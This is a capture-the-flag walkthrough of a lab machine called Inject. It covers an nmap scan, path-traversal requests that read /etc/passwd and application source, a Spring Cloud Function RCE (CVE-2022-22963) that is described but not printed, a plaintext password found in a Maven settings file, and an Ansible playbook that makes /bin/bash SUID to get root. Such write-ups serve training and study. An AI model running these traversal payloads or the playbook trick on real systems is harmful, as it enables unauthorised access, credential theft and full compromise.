Gaining Access
Nmap scan:
Copy $ nmap -p- --min-rate 3000 10.129.178.106
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-11 22:25 EST
Nmap scan report for 10.129.178.106
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Zodd Cloud LFI
Port 8080 a corporate webpage for some product:
There's an Upload function in the top right of the page. When we upload a file, we can view it on the server:
There's an LFI vulnerability here.
Copy $ curl http://10.129.178.113:8080/show_image?img=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
Two users frank
and phil
are on the machine. Running a gobuster
scan, this is what we find:
Copy $ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.178.113:8080 -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.178.113:8080
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/03/11 22:36:35 Starting gobuster in directory enumeration mode
===============================================================
/register (Status: 200) [Size: 5654]
/blogs (Status: 200) [Size: 5371]
/upload (Status: 200) [Size: 1857]
/environment (Status: 500) [Size: 712]
/error (Status: 500) [Size: 106]
/release_notes (Status: 200) [Size: 1086]
The release notes shows that the creators added some 'checks' for the upload feature, which obviously failed if LFI can be used:
We need to find out what kind of framework this is running. Because this uses images, I found out we can read directories like this:
Copy $ curl http://10.129.178.113:8080/show_image?img=../../../../../../var/www/
html
WebApp
Going into WebApp, we find more directories:
Copy $ curl http://10.129.178.113:8080/show_image?img=../../../../../../var/www/WebApp
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
targe
We should be searching for the code used for the upload function. This can be found at /var/www/WebApp/src/main/java/com/example/WebApp/user/UserController.java
.
Copy package com.example.WebApp.user;
import org.springframework.core.io.Resource;
import org.springframework.core.io.UrlResource;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import java.nio.file.Path;
import org.springframework.ui.Model;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import javax.activation.*;
import java.io.*;
import java.net.MalformedURLException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
@Controller
public class UserController {
private static String UPLOADED_FOLDER = "/var/www/WebApp/src/main/uploads/";
@GetMapping("")
public String homePage(){
return "homepage";
}
@GetMapping("/register")
public String signUpFormGET(){
return "under";
}
@RequestMapping(value = "/upload", method = RequestMethod.GET)
public String UploadFormGet(){
return "upload";
}
@RequestMapping(value = "/show_image", method = RequestMethod.GET)
public ResponseEntity getImage(@RequestParam("img") String name) {
String fileName = UPLOADED_FOLDER + name;
Path path = Paths.get(fileName);
Resource resource = null;
try {
resource = new UrlResource(path.toUri());
} catch (MalformedURLException e){
e.printStackTrace();
}
return ResponseEntity.ok().contentType(MediaType.IMAGE_JPEG).body(resource);
}
@PostMapping("/upload")
public String Upload(@RequestParam("file") MultipartFile file, Model model){
String fileName = StringUtils.cleanPath(file.getOriginalFilename());
if (!file.isEmpty() && !fileName.contains("/")){
String mimetype = new MimetypesFileTypeMap().getContentType(fileName);
String type = mimetype.split("/")[0];
if (type.equals("image")){
try {
Path path = Paths.get(UPLOADED_FOLDER+fileName);
Files.copy(file.getInputStream(),path, StandardCopyOption.REPLACE_EXISTING);
} catch (IOException e){
e.printStackTrace();
}
model.addAttribute("name", fileName);
model.addAttribute("message", "Uploaded!");
} else {
model.addAttribute("message", "Only image files are accepted!");
}
} else {
model.addAttribute("message", "Please Upload a file!");
}
return "upload";
}
@GetMapping("/release_notes")
public String changelog(){
return "change";
}
@GetMapping("/blogs")
public String blogPage(){
return "blog";
}
}
Spring Cloud RCE
There does not seem to be much here, and I can't find any loopholes. In cases like this, we can look at the dependencies and see if we can break that. This uses springframework
, which is known to have SOME vulnerabilities.
We can read the /var/www/WebApp/pom.xml
file to get more information about the dependencies:
Copy <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<dependencies>
<dependency>
<groupId>com.sun.activation</groupId>
<artifactId>javax.activation</artifactId>
<version>1.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
We can notice this is running spring-cloud-function-web
version 3.2.2, which happens to be vulnerable to CVE-2022-22963, an RCE exploit.
The PoC is pretty simple:
We find that this works!
Now we have RCE, we can easily get a reverse shell. I got this via 2 commands, one that downloads a small reverse shell script via curl
and then executes it with bash
.
We can upgrade the shell by dropping our public key in a authorized_keys
folder in frank
home directory.
Privilege Escalation
Phil Credentials
Within frank
home directory, we can find the credentials of the other user:
Copy frank@inject:~$ cd .m2
frank@inject:~/.m2$ ls
settings.xml
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
With this, we can su
to phil
.
Playbook PE
I ran a pspy64
to see the processes being run by root
. Here are some of the interesting lines seen:
Copy 2023/03/12 04:18:01 CMD: UID=0 PID=10333 | /bin/sh -c sleep 10 && /usr/bin/rm -rf /opt/automation/tasks/* && /usr/bin/cp /root/playbook_1.yml /opt/automation/tasks/
2023/03/12 04:18:01 CMD: UID=0 PID=10332 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/automation/tasks/playbook_1.yml
2023/03/12 04:18:01 CMD: UID=0 PID=10331 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
2023/03/12 04:18:01 CMD: UID=0 PID=10335 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
We can see that the root
user is running Ansible playbooks in the background. We can also see that there is a wildcard being used to detect .yml
files via /opt/automation/tasks/*.yml
. The user phil
can also create files within this directory.
Pretty straightforward PE vector. We can see the existing playbook to follow the format required.
Copy - hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
This playbook using the built-in systemd
module, and we can replace that with ansible.builtin.shell
to execute commands.
After changing the module and command, we need to specify become: true
to enable privilege escalation. This is the malicious playbook created:
Copy - hosts: localhost
tasks:
- name: giving me root shell
ansible.builtin.shell: |
chmod u+s /bin/bash
become: true
Download this via wget
to the machine and wait. After a bit, we should get an easy root shell.
Pwned.